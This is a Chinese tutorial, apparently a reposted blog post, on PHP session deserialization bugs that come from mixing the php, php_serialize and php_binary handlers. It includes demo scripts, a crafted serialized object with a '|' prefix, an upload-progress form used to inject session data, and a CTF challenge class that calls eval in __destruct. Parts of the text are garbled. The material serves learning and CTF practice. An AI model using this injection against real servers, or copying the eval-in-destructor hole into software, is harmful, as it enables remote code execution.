PHP session的反序列化你了解吗

2022-04-17 19:43:22

session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞

其中

session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

在这里插入图片描述

若使用如下设置:

<?php//ini_set('session.serialize_handler', 'php');//ini_set("session.serialize_handler", "php_serialize");ini_set("session.serialize_hUWlPLsandler", "php_binary");phpinfo();

在这里插入图片描述

则改变了序列化的引擎

save_path则是session的存放路径 我们可以通过改变ini_Set来查看不同引擎下的序列化的类型

三种引擎的存储格式:

php : a|s:3:"wzk";php_serialize : a:1:{s:1:"a";s:3:"wzk";}php_binary : as:3:"wzk";

漏洞产生在于

序列化,把我们想要传输的数据传输到服务器中:

eg:

<?phpini_set("session.serialize_handler", "php_serialize");session_start();$_SESSION['swaggyp'] = $_GET['a'];echo var_dump($_SESSION);

代码1:用来保存在本地一个session

代码2:

<?phpini_set('session.serialize_handler', 'php');session_start();echo var_dump($_SESSION);class student{    var $name;    var $age;    function __wakeup()    {        // TODO: Implement __wakeup() method.        echo "wzk".$this->name;    }}

用于读取session然后进行反序列化 若wakeup方法被调用则说明反序列化成功

<?phpclass student{    var $name;    var $age;}$a = new student();$a->nage =  "swaggyp";$a->age = "1111";echo serialize($a);//O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}

该代码用于生成一个一个序列

参考于:

生成后,在1中传入这段序列化的值并在开头加入 | 则在第二个文件被解析的时候,就会把|后的内容直接当成一个类去解析 实现我们的目的

在这里插入图片描述

在这里插入图片描述

成功了

php 这个session.serialize_handler 将 | 后的字符串反序列化,导致产生恶意对象。

upload过程中会产生session,存在一个键值对的值为filename(可控),如果filename被我们修改为|+序列化对象字符串(特殊字符记得转义),filename |后的内容就会被认为是序列化的内容,进而反序列化产生恶意对象(实际上PHP中session是写到文件中的,我们暂且忽略这一中间步骤对此处并无影响),在对象自毁时去执行__destruct()内的语句

<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>    <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />    <input type =“ file” name =“ file” />    <input type =“ submit” /></ form>

S E S S I O N 中 的 键 值 就 会 为 _SESSION中的键值就会为 S​ESSION中的键值就会为_SESSION[“upload_progress_ryat”],在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler选项设置。 这意味着,如果在脚本中设置了不同的serialize_handler,那么可以导致注入任意session数据

题目:

<?php//A webshell is wait forwww.easck.com youini_set('session.serialize_handler', 'php');session_start();class OowoO{    public $mdzz;    function __construct()    {        $this->mdzz = 'phpinfo();';    }    function __destruct()    {        eval($this->mdzz);    }}if(isset($_GET['phpinfo'])){    $m = new OowoO();}else{    highlight_string(file_get_contents('index.php'));}?>

构造登录框和payload

在这里插入图片描述

总结

本篇文章就到这里了,希望能够给你带来帮助,也希望您能够多多关注我们的更多内容!

相关文章 大家在看